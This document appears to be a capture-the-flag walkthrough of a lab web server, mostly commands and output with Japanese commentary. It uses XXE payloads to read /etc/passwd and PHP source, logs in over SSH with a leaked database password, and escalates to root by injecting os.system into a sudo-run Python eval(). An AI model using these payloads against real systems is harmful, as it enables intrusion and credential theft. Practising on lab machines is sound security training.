nmap -Pn -p- --min-rate 500 -T4 10.129.95.166
nmap -sV -sC -p 22,80 10.129.95.166

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

curl -s http://10.129.95.166/ | grep -i "subheading\|portal"
curl -s http://10.129.95.166/portal.php

Bounty Hunters - Security Researchers - Can use Burp

(portal.php)
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.

curl -s http://10.129.95.166/log_submit.php
curl -s http://10.129.95.166/resources/bountylog.js

<h1>Bounty Report System - Beta</h1>
<input ... id="exploitTitle" ...>
<input ... id="cwe" ...>
<input ... id="cvss" ...>
<input ... id="reward" ...>
<input type="submit" onclick="bountySubmit()" ...>

// bountylog.js
function returnSecret(data) {
  return Promise.resolve($.ajax({
    type: "POST",
    data: {"data":data},
    url: "tracker_diRbPr00f314.php"
  }));
}
async function bountySubmit() {
  var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
  <bugreport>
  <title>${'$'}{$('#exploitTitle').val()}</title>
  <cwe>${'$'}{$('#cwe').val()}</cwe>
  <cvss>${'$'}{$('#cvss').val()}</cvss>
  <reward>${'$'}{$('#reward').val()}</reward>
  </bugreport>`
  let data = await returnSecret(btoa(xml));
}

curl -s http://10.129.95.166/resources/README.txt

Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

XMLのDOCTYPE内でカスタム外部実体(ENTITY)を定義し、本文中で参照させることで、
サーバー上の任意ファイルの内容をXMLパーサーに読み込ませてレスポンスへ
反映させる、典型的なXXE攻撃。title要素の中身を &xxe; に置き換えて
送信するだけで、応答のTitle欄にファイル内容がそのまま表示される。

cat > xxe1.xml <<'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
EOF
B64=$(base64 -w0 xxe1.xml)
curl -s -X POST http://10.129.95.166/tracker_diRbPr00f314.php \
  --data-urlencode "data=$B64"

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>root:x:0:0:root:/root:/bin/bash
...
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
...
  </tr>
</table>

PHPファイルを file:// で直接読もうとすると、サーバーがPHPとして実行して
しまい(あるいはインクルード時の相対パス問題で)ソースコードそのものは
得られないことが多い。そこでPHPの php://filter ラッパーを使い、
ファイルの中身を実行せずbase64エンコードした状態でそのまま出力させる
(convert.base64-encode)。これによりPHPソースコードの平文を取得できる。

cat > xxe2.xml <<'EOF'
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
EOF
B64=$(base64 -w0 xxe2.xml)
RESP=$(curl -s -X POST http://10.129.95.166/tracker_diRbPr00f314.php \
  --data-urlencode "data=$B64")
echo "$RESP" | grep -oP '(?<=<td>)[A-Za-z0-9+/=]{20,}(?=</td>)' | base64 -d

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

/etc/passwd から判明した唯一の一般ユーザー development に対し、
db.php から漏洩したデータベースパスワードをそのままSSHパスワードとして
試す(Easy難易度マシンで頻出する「パスワード使い回し」パターン)。

sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@10.129.95.166 \
  "id; cat /home/development/user.txt"

uid=1000(development) gid=1000(development) groups=1000(development)
223bff86d0d49894ea76c0f0e2453b36

sudo -l

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

cat /opt/skytrain_inc/ticketValidator.py

def evaluate(ticketFile):
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            continue
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
    return False

フォーマット上の制約をすべて満たす必要がある:
  - 1行目: "# Skytrain Inc" で始まる
  - 2行目: "## Ticket to " で始まる(末尾に半角スペース必須。無いと解析エラー)
  - "__Ticket Code:__" という行を置き、その次の行が実際のコード行になる
  - コード行は "**" で始まる
  - "**" を除去した残りの文字列から "+" で分割した最初の要素を
    int()変換し、7で割った余りが4になる必要がある(例: 102 % 7 == 4)
  - その後 eval() に渡されるのは "**" を除いた行全体 なので、
    102の後ろに正当なPython式として os.system(...) を連結できる

cat > pwn.md <<'EOF'
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('cat /root/root.txt > /tmp/.r00t; chmod 644 /tmp/.r00t') == False
EOF

printf '/home/development/pwn.md\n' | \
  sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
cat /tmp/.r00t

Please enter the path to the ticket file.
Destination:
Invalid ticket.
117dc82c1f6be774b7826fbf34a60f1f